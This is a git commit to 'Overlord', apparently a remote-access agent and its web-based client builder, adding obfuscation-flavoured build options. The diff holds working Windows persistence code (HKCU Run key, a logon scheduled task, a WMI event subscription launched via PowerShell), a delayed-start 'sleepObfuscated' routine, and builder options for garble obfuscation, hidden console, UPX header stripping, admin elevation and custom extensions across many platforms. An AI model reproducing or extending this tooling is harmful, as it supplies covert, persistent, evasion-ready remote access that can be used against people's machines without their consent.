tons of new build options, fix mutex shit, etc

This commit is contained in:
KingKDot
2026-03-21 02:12:35 -05:00
parent 26f5d4ecc6
commit ac5cf6e43e
14 changed files with 714 additions and 606 deletions
@@ -27,6 +27,7 @@ var DefaultID = ""
var DefaultCountry = ""
var DefaultAgentToken = ""
var DefaultBuildTag = ""
var DefaultSleepSeconds = "0"
const settingsFile = "config/settings.json"
const serverIndexFile = "config/server_index.json"
@@ -62,6 +63,7 @@ type Config struct {
TLSClientKey string
AgentToken string
BuildTag string
SleepSeconds int
}
func Load() Config {
@@ -162,6 +164,7 @@ func Load() Config {
TLSClientKey: tlsClientKey,
AgentToken: agentToken,
BuildTag: strings.TrimSpace(DefaultBuildTag),
SleepSeconds: parseSleepSeconds(DefaultSleepSeconds),
}
}
@@ -170,6 +173,20 @@ func isTruthy(value string) bool {
return v == "true" || v == "1" || v == "yes" || v == "y"
}
func parseSleepSeconds(s string) int {
n := 0
for _, c := range strings.TrimSpace(s) {
if c < '0' || c > '9' {
return 0
}
n = n*10 + int(c-'0')
if n > 3600 {
return 3600
}
}
return n
}
func LoadServerURLsFromRaw(rawURL string) ([]string, error) {
trimmed := strings.TrimSpace(rawURL)
if trimmed == "" {
+4
View File
@@ -12,6 +12,10 @@ import (
func main() {
cfg := config.Load()
if cfg.SleepSeconds > 0 {
sleepObfuscated(cfg.SleepSeconds)
}
if cfg.EnablePersistence {
if err := persistence.Setup(); err != nil {
log.Printf("Warning: Failed to setup persistence: %v", err)
@@ -20,6 +20,12 @@ func Acquire(name string) (func(), bool, error) {
fullName := "Global\\Overlord-" + sanitized
handle, err := windows.CreateMutex(nil, false, windows.StringToUTF16Ptr(fullName))
if err == windows.ERROR_ALREADY_EXISTS {
if handle != 0 {
windows.CloseHandle(handle)
}
return func() {}, false, nil
}
if err != nil {
return nil, false, fmt.Errorf("create mutex: %w", err)
}
@@ -7,6 +7,10 @@ import (
var DefaultPersistenceMethod = "startup"
var persistInstallFn func(targetPath string) error = func(_ string) error { return nil }
var persistUninstallFns []func() error
func Setup() error {
exePath, err := os.Executable()
if err != nil {
@@ -152,68 +152,6 @@ func runPowerShell(script string) error {
return nil
}
func installStartupFolder(_ string) error {
return nil
}
func installRegistry(targetPath string) error {
k, _, err := registry.CreateKey(registry.CURRENT_USER, registryKey,
registry.QUERY_VALUE|registry.SET_VALUE)
if err != nil {
return fmt.Errorf("failed to open HKCU Run key: %w", err)
}
defer k.Close()
names, _ := k.ReadValueNames(0)
for _, name := range names {
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
}
}
b := make([]byte, 4)
if _, err := rand.Read(b); err != nil {
return fmt.Errorf("failed to generate registry value name: %w", err)
}
valueName := registryValuePrefix + hex.EncodeToString(b)
return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
}
func installTaskScheduler(targetPath string) error {
taskName := deriveTaskName(targetPath)
safe := strings.ReplaceAll(targetPath, "'", "''")
// Notes on PowerShell parameter syntax used here:
// -ExecutionTimeLimit: expects a TimeSpan; ([TimeSpan]::Zero) disables the limit.
// -StartWhenAvailable: SwitchParameter — must be bare or use colon syntax (:$true);
// writing "-StartWhenAvailable $true" (with space) makes $true a positional arg, which errors.
script := fmt.Sprintf(
`$a = New-ScheduledTaskAction -Execute '%s'; `+
`$t = New-ScheduledTaskTrigger -AtLogOn; `+
`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
safe, taskName)
return runPowerShell(script)
}
func installWMI(targetPath string) error {
filterName, consumerName := deriveWMINames(targetPath)
safe := strings.ReplaceAll(targetPath, "'", "''")
script := fmt.Sprintf(
`$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+
`$f.QueryLanguage = 'WQL'; `+
`$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+
`WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+
`$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+
`$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+
`$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+
`$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+
`$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+
`$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+
`$null = $b.Put()`,
filterName, consumerName, safe, filterName, consumerName)
return runPowerShell(script)
}
func install(exePath string) error {
targetPath, err := getTargetPath()
if err != nil {
@@ -229,23 +167,10 @@ func install(exePath string) error {
return err
}
switch activeMethod() {
case "registry":
if err := installRegistry(targetPath); err != nil {
return fmt.Errorf("failed to install registry persistence: %w", err)
}
case "taskscheduler":
if err := installTaskScheduler(targetPath); err != nil {
return fmt.Errorf("failed to install task scheduler persistence: %w", err)
}
case "wmi":
if err := installWMI(targetPath); err != nil {
return fmt.Errorf("failed to install WMI persistence: %w", err)
}
if err := persistInstallFn(targetPath); err != nil {
return fmt.Errorf("failed to install persistence: %w", err)
}
// Best-effort cleanup of legacy registry entries from older versions.
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
_ = cleanupLegacyRunValues()
return nil
@@ -302,24 +227,11 @@ func configure(exePath string) error {
}
}
switch activeMethod() {
case "registry":
if err := installRegistry(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure registry persistence: %w", err)
if err := persistInstallFn(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure persistence: %w", err)
}
case "taskscheduler":
if err := installTaskScheduler(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure task scheduler persistence: %w", err)
}
case "wmi":
if err := installWMI(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure WMI persistence: %w", err)
}
default:
// Best-effort cleanup of legacy registry entries from older versions.
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
_ = cleanupLegacyRunValues()
}
return nil
}
@@ -327,9 +239,9 @@ func configure(exePath string) error {
func uninstall() error {
_ = cleanupLegacyRunValues()
_ = uninstallTaskScheduler()
_ = uninstallWMI()
for _, fn := range persistUninstallFns {
_ = fn()
}
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
@@ -347,26 +259,6 @@ func uninstall() error {
return nil
}
func uninstallTaskScheduler() error {
return runPowerShell(
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
}
func uninstallWMI() error {
return runPowerShell(
`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue`)
}
func cleanupPrefixedExecutables(dir string) error {
entries, err := os.ReadDir(dir)
if err != nil {
@@ -0,0 +1,40 @@
//go:build windows && persist_registry
// +build windows,persist_registry
package persistence
import (
"crypto/rand"
"encoding/hex"
"fmt"
"strings"
"golang.org/x/sys/windows/registry"
)
func init() {
persistInstallFn = installRegistry
}
func installRegistry(targetPath string) error {
k, _, err := registry.CreateKey(registry.CURRENT_USER, registryKey,
registry.QUERY_VALUE|registry.SET_VALUE)
if err != nil {
return fmt.Errorf("failed to open HKCU Run key: %w", err)
}
defer k.Close()
names, _ := k.ReadValueNames(0)
for _, name := range names {
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
}
}
b := make([]byte, 4)
if _, err := rand.Read(b); err != nil {
return fmt.Errorf("failed to generate registry value name: %w", err)
}
valueName := registryValuePrefix + hex.EncodeToString(b)
return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
}
@@ -0,0 +1,33 @@
//go:build windows && persist_taskscheduler
// +build windows,persist_taskscheduler
package persistence
import (
"fmt"
"strings"
)
func init() {
persistInstallFn = installTaskScheduler
persistUninstallFns = append(persistUninstallFns, uninstallTaskScheduler)
}
func installTaskScheduler(targetPath string) error {
taskName := deriveTaskName(targetPath)
safe := strings.ReplaceAll(targetPath, "'", "''")
script := fmt.Sprintf(
`$a = New-ScheduledTaskAction -Execute '%s'; `+
`$t = New-ScheduledTaskTrigger -AtLogOn; `+
`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
safe, taskName)
return runPowerShell(script)
}
func uninstallTaskScheduler() error {
return runPowerShell(
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
}
@@ -0,0 +1,46 @@
//go:build windows && persist_wmi
// +build windows,persist_wmi
package persistence
import (
"fmt"
"strings"
)
func init() {
persistInstallFn = installWMI
persistUninstallFns = append(persistUninstallFns, uninstallWMI)
}
func installWMI(targetPath string) error {
filterName, consumerName := deriveWMINames(targetPath)
safe := strings.ReplaceAll(targetPath, "'", "''")
script := fmt.Sprintf(
`$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+
`$f.QueryLanguage = 'WQL'; `+
`$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+
`WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+
`$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+
`$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+
`$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+
`$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+
`$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+
`$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+
`$null = $b.Put()`,
filterName, consumerName, safe, filterName, consumerName)
return runPowerShell(script)
}
func uninstallWMI() error {
return runPowerShell(
`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue`)
}
+22
View File
@@ -0,0 +1,22 @@
package main
import "time"
func sleepObfuscated(seconds int) {
if seconds <= 0 {
return
}
const slice = 500 * time.Millisecond
end := time.Now().Add(time.Duration(seconds) * time.Second)
for {
remaining := time.Until(end)
if remaining <= 0 {
return
}
next := remaining
if next > slice {
next = slice
}
time.Sleep(next)
}
}
+39
View File
@@ -54,6 +54,37 @@ function updateServerUrlPlaceholder() {
let isBuilding = false;
function initAccordions() {
document.querySelectorAll(".accordion-section").forEach((section) => {
const header = section.querySelector(".accordion-header");
const body = section.querySelector(".accordion-body");
const chevron = section.querySelector(".accordion-chevron");
const startOpen = section.dataset.open !== "false";
if (!startOpen) {
body.classList.add("collapsed");
} else {
chevron.classList.add("rotated");
}
header.addEventListener("click", () => {
const nowCollapsed = body.classList.toggle("collapsed");
chevron.classList.toggle("rotated", !nowCollapsed);
});
});
}
function updateWindowsSectionVisibility() {
const windowsSection = document.getElementById("windows-settings-section");
if (!windowsSection) return;
const hasWindows = Array.from(
document.querySelectorAll('input[name="platform"]:checked'),
).some((el) => el.value.startsWith("windows-"));
windowsSection.classList.toggle("hidden", !hasWindows);
}
initAccordions();
updateWindowsSectionVisibility();
init();
if (rawServerListCheckbox && serverUrlInput) {
@@ -133,6 +164,7 @@ if (persistenceCheckbox && persistenceMethodContainer) {
platformInputs.forEach((input) => {
input.addEventListener("change", updatePersistenceSettingsVisibility);
input.addEventListener("change", updateWindowsSectionVisibility);
});
updatePersistenceSettingsVisibility();
@@ -331,6 +363,10 @@ form?.addEventListener("submit", async (e) => {
const assemblyCompany = form.querySelector("#assembly-company")?.value.trim() || "";
const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || "";
const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || "";
const requireAdmin = form.querySelector('input[name="require-admin"]')?.checked || false;
const outputExtension = form.querySelector("#output-extension")?.value || ".exe";
const sleepSecondsRaw = parseInt(form.querySelector("#sleep-seconds")?.value || "0", 10);
const sleepSeconds = !isNaN(sleepSecondsRaw) && sleepSecondsRaw > 0 ? sleepSecondsRaw : 0;
const buildConfig = {
platforms,
@@ -354,6 +390,9 @@ form?.addEventListener("submit", async (e) => {
assemblyCompany: assemblyCompany || undefined,
assemblyVersion: assemblyVersion || undefined,
assemblyCopyright: assemblyCopyright || undefined,
requireAdmin,
outputExtension,
sleepSeconds: sleepSeconds > 0 ? sleepSeconds : undefined,
iconBase64: pendingIconBase64 || undefined,
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
+292 -392
View File
@@ -26,6 +26,27 @@
></script>
<script src="/assets/toast.js"></script>
<script src="/assets/ripple.js"></script>
<style>
.accordion-body {
display: grid;
grid-template-rows: 1fr;
transition: grid-template-rows 0.2s ease, opacity 0.2s ease;
opacity: 1;
}
.accordion-body.collapsed {
grid-template-rows: 0fr;
opacity: 0;
}
.accordion-body > .accordion-inner {
overflow: hidden;
}
.accordion-chevron {
transition: transform 0.2s ease;
}
.accordion-chevron.rotated {
transform: rotate(-180deg);
}
</style>
</head>
<body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header>
@@ -34,9 +55,7 @@
<div class="flex items-center justify-between gap-3 flex-wrap">
<div>
<h1 class="text-2xl font-semibold">Client Builder</h1>
<p class="text-slate-400">
Build customized Overlord client agents
</p>
<p class="text-slate-400">Build customized Overlord client agents</p>
</div>
</div>
@@ -47,427 +66,170 @@
<i class="fa-solid fa-gear"></i> Build Configuration
</h2>
<form id="build-form" class="flex flex-col gap-4">
<!-- Platform Selection -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2"
>Target Platform</label
>
<form id="build-form" class="flex flex-col gap-3">
<!-- == Section 1: Target Platforms (open) == -->
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="true">
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
<i class="fa-solid fa-display text-slate-400"></i> Target Platforms
</span>
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
</button>
<div class="accordion-body">
<div class="accordion-inner px-4 pb-4 pt-3">
<div class="grid grid-cols-2 gap-2">
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="windows-amd64"
class="w-4 h-4"
checked
/>
<span
><i class="fa-brands fa-windows text-blue-400"></i> Windows x64</span
>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors">
<input type="checkbox" name="platform" value="windows-amd64" class="w-4 h-4" checked />
<span><i class="fa-brands fa-windows text-blue-400"></i> Windows x64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="windows-386"
class="w-4 h-4"
/>
<span
><i class="fa-brands fa-windows text-blue-400"></i> Windows x86</span
>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors">
<input type="checkbox" name="platform" value="windows-386" class="w-4 h-4" />
<span><i class="fa-brands fa-windows text-blue-400"></i> Windows x86</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="windows-arm64"
class="w-4 h-4"
/>
<span
><i class="fa-brands fa-windows text-blue-400"></i> Windows ARM64</span
>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors">
<input type="checkbox" name="platform" value="windows-arm64" class="w-4 h-4" />
<span><i class="fa-brands fa-windows text-blue-400"></i> Windows ARM64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="linux-amd64"
class="w-4 h-4"
/>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
<input type="checkbox" name="platform" value="linux-amd64" class="w-4 h-4" />
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux x64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="linux-arm64"
class="w-4 h-4"
/>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
<input type="checkbox" name="platform" value="linux-arm64" class="w-4 h-4" />
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux ARM64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="linux-armv7"
class="w-4 h-4"
/>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
<input type="checkbox" name="platform" value="linux-armv7" class="w-4 h-4" />
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux ARMv7</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors"
>
<input
type="checkbox"
name="platform"
value="darwin-amd64"
class="w-4 h-4"
/>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors">
<input type="checkbox" name="platform" value="darwin-amd64" class="w-4 h-4" />
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS x64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors"
>
<input
type="checkbox"
name="platform"
value="darwin-arm64"
class="w-4 h-4"
/>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors">
<input type="checkbox" name="platform" value="darwin-arm64" class="w-4 h-4" />
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS ARM64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="freebsd-amd64"
class="w-4 h-4"
/>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors">
<input type="checkbox" name="platform" value="freebsd-amd64" class="w-4 h-4" />
<span><i class="fa-brands fa-linux text-cyan-300"></i> FreeBSD x64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="freebsd-arm64"
class="w-4 h-4"
/>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors">
<input type="checkbox" name="platform" value="freebsd-arm64" class="w-4 h-4" />
<span><i class="fa-brands fa-linux text-cyan-300"></i> FreeBSD ARM64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="android-arm64"
class="w-4 h-4"
/>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
<input type="checkbox" name="platform" value="android-arm64" class="w-4 h-4" />
<span><i class="fa-brands fa-android text-green-400"></i> Android ARM64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="android-amd64"
class="w-4 h-4"
/>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
<input type="checkbox" name="platform" value="android-amd64" class="w-4 h-4" />
<span><i class="fa-brands fa-android text-green-400"></i> Android x64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="android-armv7"
class="w-4 h-4"
/>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
<input type="checkbox" name="platform" value="android-armv7" class="w-4 h-4" />
<span><i class="fa-brands fa-android text-green-400"></i> Android ARMv7</span>
</label>
</div>
</div>
</div>
</div>
<!-- == Section 2: Connection & Identity (open) == -->
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="true">
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
<i class="fa-solid fa-plug text-slate-400"></i> Connection &amp; Identity
</span>
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
</button>
<div class="accordion-body">
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-4">
<!-- Server URL -->
<div>
<label
class="block text-sm font-medium text-slate-300 mb-2"
for="server-url"
>
Server URL
</label>
<input
type="text"
id="server-url"
name="server-url"
placeholder="wss://your-server:5173"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
/>
<label class="block text-sm font-medium text-slate-300 mb-2" for="server-url">Server URL</label>
<input type="text" id="server-url" name="server-url" placeholder="wss://your-server:5173"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors" />
<label class="mt-2 flex items-center gap-2 text-xs text-slate-400">
<input type="checkbox" id="raw-server-list" name="raw-server-list" class="w-4 h-4" />
Use raw HTTPS server list (fetches multiple wss:// endpoints)
</label>
<p class="text-xs text-slate-500 mt-1">
When enabled, the URL above must be a raw HTTPS link that contains one wss:// endpoint per line.
When enabled, the URL above must be a raw HTTPS link with one wss:// endpoint per line.
</p>
</div>
<!-- Output Name -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2" for="output-name">
Output Filename
</label>
<input
type="text"
id="output-name"
name="output-name"
placeholder="agent (default)"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
/>
<label class="block text-sm font-medium text-slate-300 mb-2" for="output-name">Output Filename</label>
<input type="text" id="output-name" name="output-name" placeholder="agent (default)"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors" />
<p class="text-xs text-slate-500 mt-1">
Optional: Custom name prefix for output binaries (letters, numbers, . _ - only)
</p>
</div>
<!-- Mutex -->
<div>
<label
class="block text-sm font-medium text-slate-300 mb-2"
for="mutex"
>
Mutex (Single-Instance Key)
</label>
<input
type="text"
id="mutex"
name="mutex"
placeholder="Leave empty for random"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
/>
<p class="text-xs text-slate-500 mt-1">
Optional: Set a fixed mutex or leave empty to auto-generate
</p>
<label
class="mt-2 flex items-center gap-2 text-xs text-slate-400"
>
<label class="block text-sm font-medium text-slate-300 mb-2" for="mutex">Mutex (Single-Instance Key)</label>
<input type="text" id="mutex" name="mutex" placeholder="Leave empty for random"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors" />
<p class="text-xs text-slate-500 mt-1">Optional: set a fixed key or leave empty to auto-generate</p>
<label class="mt-2 flex items-center gap-2 text-xs text-slate-400">
<input type="checkbox" name="disable-mutex" class="w-4 h-4" />
Disable mutex (allow multiple instances)
</label>
</div>
<!-- Build Options -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2"
>Build Options</label
>
<div class="flex flex-col gap-2">
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-400 transition-colors"
>
<input
type="checkbox"
name="strip-debug"
class="w-4 h-4"
checked
/>
<span class="flex items-center gap-2"><i class="fa-solid fa-bug-slash text-emerald-400"></i> Strip debug symbols (-s -w)</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-400 transition-colors"
>
<input
type="checkbox"
name="disable-cgo"
class="w-4 h-4"
/>
<span class="flex items-center gap-2"><i class="fa-solid fa-ban text-emerald-400"></i> Disable CGO</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-purple-500 transition-colors"
title="Build with garble for obfuscation (requires garble installed on the server)"
>
<input
type="checkbox"
name="obfuscate"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-mask text-purple-400"></i>
Obfuscate (garble)</span
>
<span class="text-xs text-slate-500"
>Build with garble for code obfuscation</span
>
</div>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors"
title="Enable automatic startup on system boot (disabled by default for security)"
>
<input
type="checkbox"
name="enable-persistence"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-power-off text-orange-400"></i>
Enable Persistence (Auto-start)</span
>
<span class="text-xs text-slate-500"
>Agent will start automatically with system boot</span
>
</div>
</label>
<div
id="persistence-method-container"
class="hidden pl-3 border-l-2 border-orange-500/40 space-y-3"
>
<div id="persistence-empty-state" class="hidden text-xs text-slate-500">
No supported persistence targets selected. Select Windows, Linux, or macOS targets to configure persistence.
</div>
<div id="persistence-windows-settings" class="hidden" data-persistence-os="windows">
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
<i class="fa-brands fa-windows text-blue-400"></i>
Windows Persistence Settings
</div>
<label
class="block text-xs font-medium text-slate-400 mb-1"
for="persistence-method"
>Persistence Method</label
>
<select
id="persistence-method"
name="persistence-method"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors"
>
<option value="startup">Startup Folder (APPDATA)</option>
<option value="registry">Registry (HKCU Run key)</option>
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
<option value="wmi">WMI Subscription (requires admin)</option>
</select>
</div>
<div id="persistence-linux-settings" class="hidden" data-persistence-os="linux">
<div class="text-xs font-semibold text-slate-300 mb-1 flex items-center gap-2">
<i class="fa-brands fa-linux text-amber-400"></i>
Linux Persistence Settings
</div>
<p class="text-xs text-slate-500">
Uses user-level <code>systemd</code> service when available; falls back to desktop autostart.
</p>
</div>
<div id="persistence-macos-settings" class="hidden" data-persistence-os="darwin">
<div class="text-xs font-semibold text-slate-300 mb-1 flex items-center gap-2">
<i class="fa-brands fa-apple text-slate-200"></i>
macOS Persistence Settings
</div>
<p class="text-xs text-slate-500">
Uses <code>LaunchAgents</code> (<code>com.overlord.agent.plist</code>) for login persistence.
</p>
</div>
</div>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors"
title="Windows only: build without a console window"
>
<input
type="checkbox"
name="hide-console"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-window-minimize text-emerald-400"></i>
Hide Console Window
